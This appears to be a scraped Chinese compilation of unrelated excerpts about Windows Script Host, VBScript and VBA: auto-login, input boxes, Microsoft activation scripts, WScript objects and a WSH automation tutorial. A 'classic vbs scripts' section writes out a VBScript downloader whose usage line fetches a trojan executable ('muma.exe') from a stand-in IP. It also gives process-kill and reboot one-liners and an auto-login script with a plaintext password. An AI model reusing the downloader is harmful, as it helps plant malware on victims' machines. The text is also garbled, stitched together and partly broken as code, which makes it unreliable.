【windows 脚本系列】8. 在WSH Script中取得使用者输入
实现windows自动登录的编程方法
实现windows自动登录的编程方法
在Windows操作系统中,可以通过编写脚本来实现自动登录功能。
以下是使用VBScript脚本实现Windows自动登录的步骤:
1. 创建一个文本文件,并将其保存为以“.vbs”为扩展名的文件,例如“auto_”。
2. 在文本编辑器中打开该文件,并添加以下代码:
```vbscript
Dim WshShell, UserName, Password
Set WshShell = CreateObject("")
UserName = "YourUsername" '替换为你的用户名
Password = "YourPassword" '替换为你的密码
'启动登录脚本
"cmdkey /generic:\ /user:" & UserName & " /pass:" & Password & " /store", 0, True
" ,LockWorkStation", 0, True
```
3. 将代码中的“YourUsername”替换为你要自动登录的用户名,将“YourPassword”替换为相应的密码。
4. 保存文件并退出文本编辑器。
5. 右击该文件,选择“以管理员身份运行”,即可自动登录Windows操作系统。
注意:这种方法可以用于登录Windows系统,但需要注意安全风险,因为脚本中明文保存了用户名和密码。
如果需要在更安全的场景下使用,请考虑使用其他加密或安全措施来保护敏感信息。
VBA 中的用户输入与消息框技巧
VBA 中的用户输入与消息框技巧VBA(Visual Basic for Applications)是一种用于编写宏(macro)的编程语言,广泛应用于Microsoft Office套件中的各种应用程序,如Excel、Word和Access。
VBA的强大之处在于它可以帮助我们自动化办公任务,加快工作效率。
其中,用户输入与消息框是VBA中常用的技巧,本文将介绍这些技巧的用法和注意事项。
1. 用户输入VBA中可以通过输入框(InputBox)向用户获取输入。
输入框是一个弹出窗口,要求用户输入特定内容。
以下是一个简单的示例:```vbaDim userName As StringuserName = InputBox("请输入您的姓名:")MsgBox "欢迎," & userName & "!"```在上述示例中,通过InputBox获取用户输入的姓名,并将其赋值给变量`userName`。
然后,通过消息框(MsgBox)显示欢迎信息,包含用户的姓名。
需要注意的是,InputBox函数可以接受三个参数:prompt(提示信息)、title (窗口标题)和default(默认值)。
其中,prompt是必需参数,可以是一个常量、一个字符串表达式或一个与输入框相关的变量。
2. 消息框消息框是通过VBA中的MsgBox函数创建的。
消息框一般用于向用户显示一些信息、提供选择或询问用户对某个事件的处理方式。
以下是一个简单的示例:```vbaDim result As VbMsgBoxResultresult = MsgBox("你确定要删除这个文件吗?", vbYesNo, "确认删除")If result = vbYes Then' 执行删除文件的操作MsgBox "文件已成功删除。
microsoft activation scripts 原理
microsoft activation scripts 原理【Microsoft激活脚本的原理】微软是全球著名的计算机软件和技术公司,其产品包括操作系统、办公软件、数据库等。
而在使用微软的产品时,有时候我们需要对其进行激活,以解锁全部功能并合法使用。
而微软激活脚本就是一种常见的工具,可以帮助用户完成这一过程。
一、什么是Microsoft激活脚本?Microsoft激活脚本是一种用于激活微软产品的自动化工具,通过配置特定的脚本指令,可以实现对操作系统或其他微软产品的激活,以验证产品的合法性并解锁更多功能。
激活脚本可以通过执行特定的指令,模拟用户手动完成激活的过程。
二、激活脚本的工作原理1. 产品密钥获取激活脚本首先需要获取合法的产品密钥,这是激活过程的关键。
产品密钥是唯一标识每个用户所购买的微软产品的代码,可以通过正规渠道获得,比如购买正版软件时,会附带一份产品密钥。
2. 模拟用户激活过程激活脚本通过模拟用户的操作过程来完成激活。
主要步骤包括:(1) 启动激活脚本:将激活脚本运行在需要激活的计算机上,一般会以管理员权限运行。
(2) 导入产品密钥:激活脚本会读取用户提供的产品密钥,并将其导入系统中,以便进行激活验证。
(3) 启动激活过程:激活脚本会模拟用户打开“设置”、“更新和安全”、“激活”等相关界面,然后点击相应按钮触发激活过程。
(4) 执行激活操作:激活脚本会模拟用户在激活界面上点击“激活”按钮,并等待系统进行验证和激活。
(5) 完成激活:一旦系统验证通过,并成功激活,激活脚本会通过输出提示用户激活成功,或进行其他后续操作。
三、激活脚本的风险和合法性问题微软的产品激活是通过使用合法的产品密钥进行验证的。
然而,使用激活脚本存在着一定的风险和合法性问题。
1. 风险:(1) 安全问题:下载和使用未知来源的激活脚本可能存在安全风险,包括植入恶意代码或病毒。
(2) 法律问题:使用未授权的激活脚本可能违反软件许可协议,涉嫌侵权或盗版行为,会面临法律风险。
WScript
15.6 Windows脚本宿主的内建对象每个编程环境都提供了自己的对象模型,开发人员可以使用这些对象模型实现各种解决方案,WSH也不例外。
WSH包含了一组核心对象,分别包含了属性和方法,可以用于访问网络中的其他计算机、导入外部的可脚本化对象以供应用程序使用,或者连接到Windows或Windows Shell。
15.6.1 WScript对象WSH对象模型的基础就是WScript对象。
这个对象提供了使开发人员能够访问各种信息的属性和方法,如:●将要执行的脚本的名称和路径信息● Microsoft脚本引擎的版本●与外部对象的链接●与用户的交互●延迟或中断脚本执行的能力1. WScript的属性WScript对象具有下列属性:● Arguments● FullName● Interactive● Name● Path● ScriptFullName● ScriptName● StdErr● StdIn● StdOut● VersionArgumentArgument属性包含了WshArguments对象(一个参数集合)。
从该集合中获取单个参数时,使用由0开始的索引。
Set objArgs = WScript.ArgumentsFor x = 0 to objArgs.Count - 1WScript.Echo objArgs(x)NextFullNameFullName属性是一个只读的字符串,它代表宿主可执行文件(cscript.exe 或wscript.exe)的有效完整路径。
下面的代码使用了FullName属性。
WScript.Echo WScript.FullName这段代码产生如图15-4的输出。
图15-4InteractiveInteractive属性设置脚本的模式,或识别脚本的模式。
使用该属性会返回一个布尔值。
有两种可用的模式:批处理模式和交互模式。
在交互模式下(默认情况),脚本可以与用户进行交互。
microsoft activation scripts使用方法
microsoft activation scripts使用方法(最新版3篇)篇1 目录1.微软激活脚本概述2.微软激活脚本的使用方法3.微软激活脚本的优势与注意事项篇1正文【微软激活脚本概述】微软激活脚本(Microsoft Activation Scripts)是一种用于激活Windows 操作系统和 Microsoft Office 软件的工具。
通过使用这些脚本,用户可以轻松地激活 Windows 和 Office 软件,从而避免因未激活而产生的功能受限或软件失效的问题。
【微软激活脚本的使用方法】以下是使用微软激活脚本的简要步骤:1.下载相应的激活脚本。
用户可以在网上搜索并下载适用于所需激活的 Windows 版本或 Office 软件的激活脚本。
2.运行激活脚本。
下载完成后,双击脚本文件,它将自动运行并提示你输入 Windows 产品密钥或 Office 产品密钥。
3.输入密钥。
根据脚本提示,输入正确的产品密钥。
如果使用的是批量激活密钥,可能需要稍等片刻以完成激活过程。
4.完成激活。
成功输入密钥后,脚本将自动激活 Windows 或 Office 软件。
此时,你可以关闭脚本并检查软件是否已成功激活。
【微软激活脚本的优势与注意事项】微软激活脚本具有以下优势:1.简单易用:用户无需具备专业知识即可轻松激活 Windows 和Office 软件。
2.激活效果好:使用激活脚本可以成功激活大部分 Windows 和Office 软件版本。
3.批量激活:对于企业和学校等需要批量激活的情况,可以使用批量激活密钥进行快速激活。
然而,在使用微软激活脚本时,请注意以下几点:1.确保来源可靠:从可信赖的来源下载激活脚本,以避免下载携带病毒或恶意软件的脚本。
2.密钥合法性:使用正版密钥进行激活,避免使用非法密钥导致的软件失效或法律风险。
3.谨慎使用批量激活:未经授权的批量激活可能触犯法律,建议企业和学校向微软官方购买批量授权。
vbscript程序员参考手册前三章
vbscript程序员参考手册前三章【原创实用版】目录1.VBS 简介2.VBS 的基本语法3.VBS 的流程控制语句4.VBS 的函数和过程5.VBS 的错误处理6.VBS 与 Windows Script Host正文VBScript(Visual Basic Script)是一种基于 Visual Basic 的脚本语言,主要用于 Windows 操作系统中的任务自动化和编程。
它是一种解释型语言,不需要编译,直接由 Windows Script Host(WSH)解释执行。
在本文中,我们将介绍 VBScript 程序员参考手册的前三章,帮助您更好地了解和掌握 VBScript 的基本知识。
第一章:VBS 简介本章主要介绍了 VBScript 的基本概念和历史。
VBScript 起源于Visual Basic,是微软公司推出的一种脚本语言。
它具有易学易用、语法简单、功能强大的特点,被广泛应用于 Windows 操作系统中的各种任务自动化。
第二章:VBS 的基本语法本章主要介绍了 VBScript 的基本语法,包括变量、数据类型、常量、运算符、表达式、语句和注释等。
这些基本语法是编写 VBScript 程序的基础,掌握它们对于编写高效的 VBScript 程序至关重要。
- 变量:用于存储数据,分为标量变量和数组变量。
- 数据类型:包括整型、浮点型、布尔型、字符串型和日期时间型等。
- 常量:具有固定值的数据,如 True、False、Null 等。
- 运算符:包括算术运算符、关系运算符、逻辑运算符和赋值运算符等。
- 表达式:由运算符和操作数组成的计算式。
- 语句:用于执行特定操作的命令,如声明、赋值、调用函数等。
- 注释:用于解释代码的文字,对程序执行没有影响。
第三章:VBS 的流程控制语句本章主要介绍了 VBScript 的流程控制语句,包括条件语句(If...Else、Select Case)、循环语句(For、While、Do While)、以及控制语句(GoTo、Exit、On、Resume)等。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
vbs脚本经典教程全
Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
WSH使用说明
走近WSHWSH--这个在词典中都很难找寻的名词,对许多朋友来讲也许还比较陌生。
但正是WSH ,使Windows 操作系统具备了更为强大的功能。
它让我们在使用系统时拥有了许多的便利,但同时,也让我们的电脑遭遇了不少的麻烦。
下面,就让我们一步步走进WSH 的神秘世界,共同评判它的是非功过。
一、WSH 是什么?WSH,是“Windows Scripting Host”的缩略形式,其通用的中文译名为“Windows 脚本宿主”。
对于这个较为抽象的名词,我们可以先作这样一个笼统的理解:它是内嵌于Windows 操作系统中的脚本语言工作环境。
Windows Scripting Host 这个概念最早出现于Windows 98 操作系统。
大家一定还记得MS-Dos 下的批处理命令,它曾有效地简化了我们的工作、带给我们方便,这一点就有点类似于如今大行其道的脚本语言。
但就算我们把批处理命令看成是一种脚本语言,那它也是98 版之前的Windows 操作系统所唯一支持的“脚本语言”。
而此后随着各种真正的脚本语言不断出现,批处理命令显然就很是力不从心了。
面临这一危机,微软在研发Windows 98 时,为了实现多类脚本文件在Windows 界面或Dos 命令提示符下的直接运行,就在系统内植入了一个基于32 位Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。
WSH 架构于ActiveX 之上,通过充当ActiveX 的脚本引擎控制器,WSH 为Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。
再具体一点描述:你自己编写了一个脚本文件,如后缀为.vbs 或.js 的文件,然后在Windows 下双击并执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序,就是Windows Scripting Host,程序执行文件名为Wscript.exe (若是在命令行下,则为Cscript.exe)。
【windows 脚本系列】1. 第1章 Windows Script Host简介
1. 第1章 Windows Script Host简介在Windows 98之前的Microsoft Windows版本几乎不提供自动化的协助,例如备份文件或执行例行的系统管理工作。
您当然可以在M S-DOS模式窗口中使用旧的MS-DOS批处理文件(BAT)来完成某些工作,例如复制档案。
但是批处理文件只能够执行一连串简单的MS-DOS指令(其缺点包括了只有简单的条件分支和没有实际的循环功能等),并且也不支持对话盒和讯息盒。
在Windows 3.1里面,您可以透过Macro Recorder来记录并执行简单的击键和鼠标点按的动作,但他无法用来撰写程序。
使用者为了寻求较有效率的方式来处理这些自动化的工作而找上了第三方所提供的解决方案,例如PowerBatch或者像是Delphi、Microsoft Visual Basis和Visual C++这类的程序开发环境。
但是许多Windows的使用者很快地发现这些解决方案不合己意,因为他们既不简单易用也不是免费的。
因为Microsoft Office提供VBA(Visual Basic for Applications),以及因为网站的作者们都知道像是VBScript(Microsoft Visual Basic的描述语言版本)和网景的JavaScript这类的描述语言(Scripting Language),所以在Microsoft为Windows操作系统提供Script程序设计工具之前,这只不过是个时间早晚的问题罢了。
而这个工具正是Microsoft的Windows Script Host(WSH),属于Microsoft Windows Script技术的分支。
WSH是一种能够让您直接在操作系统层级执行Script档案的独立主机(Host)。
举例来说,您可以从命令行接口叫用Script或者在档案总管中双击Script。
WSH对于许多需要很少或者根本不需要接口的管理工作来说是相当便利的。
VBA中的Windows操作系统交互方法
VBA中的Windows操作系统交互方法VBA(Visual Basic for Applications)是一种广泛应用于微软Office套件中的宏编程语言,它可以通过编写程序自动化执行各种任务。
在VBA中,我们可以通过使用Windows操作系统交互方法,实现与操作系统的交互,包括打开文件、控制窗口、发送键盘鼠标输入等。
在本文中,我们将探讨VBA中的Windows操作系统交互方法,它可以为我们的编程工作提供更多的灵活性和效率。
下面将介绍几种常用的操作系统交互方法及其使用示例。
1. Shell函数Shell函数可用于在VBA中执行外部应用程序或命令。
它可以打开文件、运行程序和执行命令行命令。
以下是一个使用Shell函数打开特定文件的示例:```vbaSub OpenFile()Dim filePath As StringfilePath = "C:\path\to\your\file.txt"Shell "explorer.exe " & filePath, vbMaximizedFocus End Sub```在上述示例中,我们使用Shell函数调用Windows资源管理器(explorer.exe)来打开指定的文件。
`vbMaximizedFocus`参数表示将窗口最大化并将焦点放在窗口上。
2. SendKeys方法SendKeys方法可以用于向活动窗口发送键盘输入。
它可以模拟键盘按键,包括特殊键(如Enter、Tab)和组合键(如Ctrl+C)。
以下是一个使用SendKeys方法发送键盘输入的示例:```vbaSub SendKey()SendKeys "^a" '模拟按下Ctrl+ASendKeys "^c" '模拟按下Ctrl+CEnd Sub```在上述示例中,我们使用SendKeys方法模拟按下Ctrl+A和Ctrl+C,以将活动窗口中的文本选择并复制到剪贴板。
windows脚本实例(WindowsScriptinstance)
windows脚本实例(Windows Script instance)From the Windows 98 era, all kinds of script files appear constantly, the script file is designed to directly run various script file in Windows interface or the Dos command prompt, Microsoft in the system into a 32 bit Windows platform, scripting environment based on independent, and named it "Windows Scripting Host (hereinafter referred to as the WSH Windows script host)".WSH was soon popularized in the Windows series after its birth. In addition to Windows 98, Microsoft in Internet, Information, Server, Windows, ME, Windows 2000 series products, as well as Windows, XP, Professional and other products are embedded in the WSH. Generally speaking, all kinds of software must consider the habits and needs of most people, and for some personalized needs, it is difficult to satisfy common software. Now using WSH, we can do a lot of interesting and useful functions, and the implementation of the code is very simple, and completely tailored for themselves, 100% to meet their own needs. How can you let go of such simple, practical and interesting things?First, how does WSH work?The premise of WSH's normal work is that the system must have more than IE3.0 version, because WSH needs to use the VBScript and JScript explain engines in IE at work.First of all, let's look at a simple example of opening notepad and writing it down:WScript.Echo (Hello! Computer ()Then it is with.Vbs or.Js suffix (do not be saved as a TXT file, save it in the "file type" select "all files") file to be saved, and then turn off the notepad. From the icon of the file, it has turned into a script file. Double click to execute the file and see the result (Figure 1), and the first script we edited has been successfully run!Figure 1Now, let's take a look at the script file implementation through WSH. First, WSH queries the required script engines in the system registry, such as VBScript or JScript, depending on the script file suffix. Then execute the script commands, use the corresponding script engine which can use WSH script command some built-in objects (such as processing, registry entries) at this time, the command will request the WSH, and these instructions are completed by WSH.So, how do you write and run WSH scripts? WSH script writing is very convenient, you can use any text editor, after that, you only need to save it for the WSH supported by the file name (such as.Js files,.Vbs files). The most commonly used editor is the Notepad that we wrote for the first script file.I. preliminary WSHBelow, we look at the initial WSH some examples, in which each instance can achieve a simple function, in our understanding of each instance of the function, we will put these examplesof integrated into a very practical script to help you achieve strong power, practical personality can.1. create shortcuts on the desktopWSHShell = WScript.CreateObject ("WScript.Shell");DesktopPath = WSHShell.SpecialFolders ("Desktop");Shortcut1 = WSHShell.CreateShortcut (DesktopPath + "\ \ Notepad.Lnk shortcut");Shortcut1.TargetPath = "c:\\Windows\\notepad.exe"";Shortcut1.Save ();This function is used to read the SpecialFolders desktop path, secure desktop path, creating a "\ Notepad.Lnk shortcut on the desktop file, and the file shortcut target Notepad.exe, finally, the information will be saved, the foot of the work is done.2. perform specific commandsThe following example opens the C:\autoexec.bat file with notepad,And open the DOS command window (and list the results of executing dir c:\Windows), the program code is as follows:WSH / / ShellShell = WScript.CreateObject ("WScript.Shell");/ / open notepad and load c:\autoexec.batShell.Run ("notepad.exe c:\\autoexec.bat");/ / open a DOS command window and dir c:\WindowsShell.Run ("CMD /K dir c:\\Windows");In the example above, the open application stays open, and the WSH continues to execute the next program code. To wait until the application is closed to continue the subsequent WSH program code, you can add additional parameters after run (). What should we do if we need to continue after we close Notepad?How the WSH / / execute other applications, and wait for the application to continue after the end of the WSH codeShell = new ActiveXObject ("WScript.Shell");IntReturn = shell.Run ("NOTEPAD" + WScript.ScriptFullName, 1, true);Shell.Popup (notepad has been closed! ");3. lists all the files in a particular directory/ / create a file system objectFSO = new ActiveXObject ("Scripting.FileSystemObject");/ / to the specified folderDir= "c:\\Windows\\temp"";Fsofolder = fso.GetFolder (DIR);Collect / folder contains filesColFiles = fsofolder.Files;FC = new, Enumerator (colFiles);/ / display and continue to read the other file name until completionWScript.Echo ("Files, under \", "+dir+", \ ":");For (?, fc.atEnd (), fc.moveNext ()) {WScript.Echo (fc.item ());}After the script executes, all the files in the specified directory (C:\windows\temp) are listed one by one.4. displays the native IP addressWs = new ActiveXObject ("MSWinsock.Winsock");WScript.Echo (native IP address is: + + ws.LocalIP);Through the MSWinsock.Winsock function, the IP address is collected and displayed.5. list disk drives and their associated propertiesFSO = new ActiveXObject ("Scripting.FileSystemObject");DriveTypeNames=["unknown type", "removable disk", "hard disk", "network disk drive", "CD-ROM", "virtual disk"];E = new, Enumerator (fso.Drives);S ="";For (?, e.atEnd (), e.moveNext ()) {X = e.item ();WScript.Echo (x.DriveLetter+::)WScript.Echo (disk type: + x.DriveType + '(' + driveTypeNames[x.DriveType] + '));WScript.Echo (shared name: + x.ShareName);WScript.Echo (disk is ready: + + x.IsReady);If (x.IsReady) {WScript.Echo ("drivelabel" + x.VolumeName);WScript.Echo (space size: + x.AvailableSpace + byte);}}The implementation of this script will show the disk drive type, volume, space size, share name and other relevant information.6. displays the current timeToday = new, Date ();WScript.Echo (computer fan tells you the time:"+today.toLocaleString ());In addition to such a method, there is a more complicated way to show up and afternoon timeFunction, getTime () {Today = new, Date ();Hour = today.getHours ();Minute = today.getMinutes ();Second = today.getSeconds ();Prepand = (hour>=12): "afternoon": "morning."";Hour = (hour>=12) hour-12:hour;STR = "now the time is", "+prepand+hour+", "+minute+", "+second+", "seconds"";Return (STR);}WScript.Echo (getTime ());7. save the current web page/ / grab a web page, and the content is stored in a fileInet=new ActiveXObject ("InetCtls.Inet");/ / download URLInet.Url= "/index.htm"";/ / set the timeoutInet.RequestTimeOut=20;/ / download filesWScript.Echo ("Downloading \", "+inet.Url+" / \ "...");Content = inet.OpenURL ();/ / write filesFSO = new ActiveXObject ("Scripting.FileSystemObject");ForReading=1, forWriting=2;FileName= "test.htm"";Fid=fso.OpenTextFile (fileName, forWriting, true);Fid.Write (content);Fid.Close ();The contents of WScript.Echo ("+inet.Url+") have been deposited into the "+fileName+"! ");8. list important environmental variables associated with SYSTEMShell = WScript.CreateObject ("WScript.Shell");EnvObj = shell.Environment ("SYSTEM");WScript.Echo ("the history of all the SYSTEM environment variable list:");WScript.Echo ("No., of, env., variables = +envObj.length");Var Enum=new Enumerator (envObj)For (Enum.moveFirst ()); Enum.atEnd (); Enum.moveNext ()/ / WScript.Echo (Enum.item) + ("===>" (+envObj) (Enum.item));WScript.Echo (Enum.item ());Have you seen the "system" property? Do you need to manually view the configuration of the system environment in the property? This script can solve a series of problems.9. scripts for automatically reading letters from Outlook ExpressVar profile = "Microsoft, Outlook, Internet, Settings"";Omapi = new ActiveXObject ("MAPI.Session");Omapi.Logon (profile);ObjFolder = omapi.Inbox;ObjMsg = objFolder.Messages;MyMsg = objMsg.GetFirst ();MSG = myMsg.Text;WScript.Echo (MSG);For (I = 0; I < 10; i++){MyMsg = objMsg.GetNext ();MSG = myMsg.Text;WScript.Echo (MSG);}Such a script can automatically find 10 recent emails from Outlook Express's incoming mail, so that you can read the letter quickly without having to open the Outlook.10. view the detailed properties of the fileVar file = "results.html"";/ / create a file system and access to the fileVar FSO = new ActiveXObject ("Scripting.FileSystemObject");Var f = fso.GetFile (file);Properties and format results. / / AccessVar FileInfo = "Results for" + file + "\n"";FileInfo = "Name:" + + \n "";FileInfo = "attributes:" + f.Attributes + "\n";FileInfo = "the size of" + f.Size + Bytes\n "";FileInfo = "creation date:" + f.DateCreated + \n "";FileInfo = "the last access date:" + f.DateLastAccessed + \n "";FileInfo = the last modification time: "+ f.DateLastModified + \n"";"The driver:" FileInfo + = + f.Drive + \n "";FileInfo = "type:" + f.Type + \n "";The results show that /WScript.Echo (FileInfo);With this function, Scripting.FileSystemObject, we can view the details of a particular file,If the file you want to view is not in the same directory as the script, you need to enter the full file path name to view. Aside from this, this script needs to be used using command lines.The following methods in DOS: in DOS input "cscript //< script file name >" or "Wscript //< script file name >" make way forthe window so that you can get the effect after the operation.11. custom settings compressed filesWinRAR is one of the more popular compression programs. After the installation completes the WinRAR, you first need to add a relative path for the WinRAR operation, which is somewhat similar to the path to the executable file in the config.sys file in DOS. In the system environment variables to add "set path=c:\Windows; c:\program files\WinRAR", you can call WinRAR directly. For the specific use of the command line of the WinRAR, enter RAR.exe / DOS in the window or command line window" You can get help.WinRAR ready to complete, you can use the following foot to finish, now custom compression.Set WshShell = Wscript.CreateObject ("Wscript.Shell")WshShell.Run ("c:\\rar.exe c:\\test.rar c:\\a.txt c:\\b.txt")<script language=, "VBScript.Encode", runat=server>Set WshShell = server.CreateObject ("Wscript.Shell")IsSuccess = WshShell.Run ("c:\\rar.exe, c:\\test.rar,c:\\a.txt, c:\\b.txt", 1, true)If IsSuccess = 0 Then"Response.write" command successfully executed! "Else"Response.write" command execution failed! The permissions are insufficient or the program cannot run in DOS state"End if</script>Two 、 comprehensive applicationWe seem to have so many separate examples, and now we're going to add a little bit of modification to the script above to make it a very handy tool that implements the following functions:1. automatically clear temporary files.2. automatically backup documents, including files in my document and messages in Outlook Express.3. for backup files, you need to compress, and the compressed file by date name, placed in the specified location.4. generate a backup report.5. automatic shutdown after completion.The following is the code to implement the above functions:The first step: / / copy itself to C: and create a shortcut onthe desktopWshShell = WScript.CreateObject ("WScript.Shell");Str= "\", "+WScript.ScriptFullname+" \ c:\\shutdown.js"WshShell.Run ("CMD /c copy" +str, 0); / / copy the WHS script to the c:\shutdown.jsDesktopPath = WshShell.SpecialFolders ("Desktop"); / / the actual path for the desktopShortcut1 = WshShell.CreateShortcut (DesktopPath +.Lnk \ \ shutdown "); / / to create a shortcutShortcut1.TargetPath = "c:\\shutdown.js"";Shortcut1.Save ();The second step: / / clear the temporary folder for this user EnvObj = WshShell.Environment ("USER");Tmp=WshShell.ExpandEnvironmentStrings (envObj ("TMP")); / / temporary folder access to the user's actual pathTemp=WshShell.ExpandEnvironmentStrings (envObj ("TEMP")); / / temporary folder access to the user's actual pathFSO = new ActiveXObject ("Scripting.FileSystemObject");//fso.DeleteFolder (TMP, true); / / to delete (if the temporary folder used in the system, will delete failed!)//fso.DeleteFolder (temp, true);Tip: readers can add other folders that need to be deleted to suit their actual situationThe third step: / / / / create time suffix backup folderwas newdate = new date ();bakfolder = "c: \ \ reverse _" + newdate.getyear () + "年" + (newdate.getmonth () + 1) + "月" + newdate.getdate () + "日 _" + newdate.gethours () + "时" + newdate.getminutes () + "分" + newdate.getseconds () + "秒";fso.createfolder (bakfolder);提示: 读者也可以直接指定一个固定的文件夹, 将备份文件放在固定文件夹中./ / 第四步: 开始调用winrar进行备份, 直接压缩备份的文件夹生成的压缩文件放到刚建的备份文件夹中/ / 首先获得要备份的文件夹: 我的文档和outlook express存放文件夹/ / 其中outlook express存放文件夹每台机子并不相同, 请按一下办法获得:/ / 打开outlook express从菜单里选工具 \ 选项 \ 维护 \ 存储文件夹mydoc = "1" "+ wshshell.specialfolders (" mydocuments ") +" * ""; / / 获取我的文档实际路径outlook = "\" c: documents and settings 1.5 1.5 1.5 1.5 netbee local settings application data 1.5 identities 1.5 {7f935084 - e34d - 4e22 - 86e9 - 10d00355b59d} \ \ microsoft \ \ \ "outlook express";/ / 开始压缩备份过程issuccess = wshshell. run ("winrar.exe a r \" "+ bakfolder +"1.5 doc.rar \ "" + mydoc, 1, true);/ / issuccess = wshshell. run ("winrar.exe a r \" "+ bakfolder +" 1.5 outlook.rar \ "+ outlook, 1, true)提示: 读者可以自行添加其它需要备份的目录, 以满足自己的需求.另外, 读者如果在上一步将备份目录修改为固定目录, 可以通过winrar的命令行参数实现备份文件的增量备份, 以避免每次关机备份占用空间.由于篇幅所限, 这里不一一列举winrar的相关命令参数, 请读者自行查阅winrar帮助文件./ / 第五步: 在备份文件夹中创建报告, 内容包括: 备份日期和时间, 备份后文件名以及备份文件的大小.最后显示报告内容.reportfile = bakfolder + "1.5 repot.txt";tf = fso.createtextfile (reportfile, true);tf.writeline ("* * * * * * * * * * * * 备份报告 * * * * * * * * * * * * * *");tf.writeline ("备份日期:" + newdate.tolocalestring ());tf.writeline ("我的文档备份文件名:" + + "bakfolder 1.5 doc.rar 文件大小:" + fso.getfile (bakfolder + "1.5 doc.rar").size + "字节");/ / tf.writeline ("outlook备份文件名:" + + "bakfolder 1.5 outlook.rar 文件大小:" + fso.getfile (bakfolder + "1.5 outlook.rar").size + "字节");tf.writeline ("---------------------------------");tf.writeline ("关闭此文件开始关闭计算机");tf.close ();wshshell.run ("notepad.exe" + reportfile, 1, true); / / 显示报告内容提示: 生成报告后, 该报告会显示在屏幕上, 只有用户关闭报告, 关机操作才会继续.如需直接关机, 请读者参阅本文第一部分第二个实例.最后, 我们希望这个脚本在我们注销或者关机时自动执行, 只要在组策略中指定在注销时使用这个脚本就可以了.具体方法是运行"gpedit.msc" 打开组策略, 选择 "本地计算机策略 / 用户配置 / windows设置 / 脚本 - (登录 / 注销)", 双击 "注销" 打开注销属性, 并选择 "添加", 选择 "脚本名" 旁边的浏览, 找到我们的脚本并确定, 最后关闭组策略.现在关机试试吧!One。
microsoft activation scripts 原理
microsoft activation scripts 原理Microsoft激活脚本的原理主要基于以下几个方面:操作系统版本验证、密钥验证和激活状态验证。
首先,激活脚本会对操作系统版本进行验证。
操作系统版本通常由一系列数字和字母组成的版本号来表示,例如Windows 10的版本号是10.0。
激活脚本会检查操作系统的版本号是否与其所支持的范围匹配。
如果版本号不匹配,脚本会返回激活失败的错误信息。
这是因为不同版本的操作系统可能使用不同的激活算法,所以激活脚本需要确保操作系统的版本号是其所能正常激活的。
其次,激活脚本会对密钥进行验证。
密钥是一串由数字和字母组成的代码,它可以用来激活操作系统。
激活脚本会检查输入的密钥是否合法和有效。
这个验证过程可能涉及到网络连接,因为激活脚本需要与激活服务器进行通信,对密钥进行验证。
如果密钥无效,服务器会返回一个错误代码,指示密钥无效。
激活脚本将根据服务器返回的错误代码来确定激活失败的原因。
最后,激活脚本还会对激活状态进行验证。
此验证步骤用于检查操作系统是否已经被激活。
激活状态可以通过操作系统内部的激活证书、license或其他相关信息来确定。
激活脚本会查询这些信息,并验证其有效性。
如果操作系统已经处于激活状态,则激活脚本会返回激活成功的消息;如果操作系统未被激活,则脚本会触发激活过程。
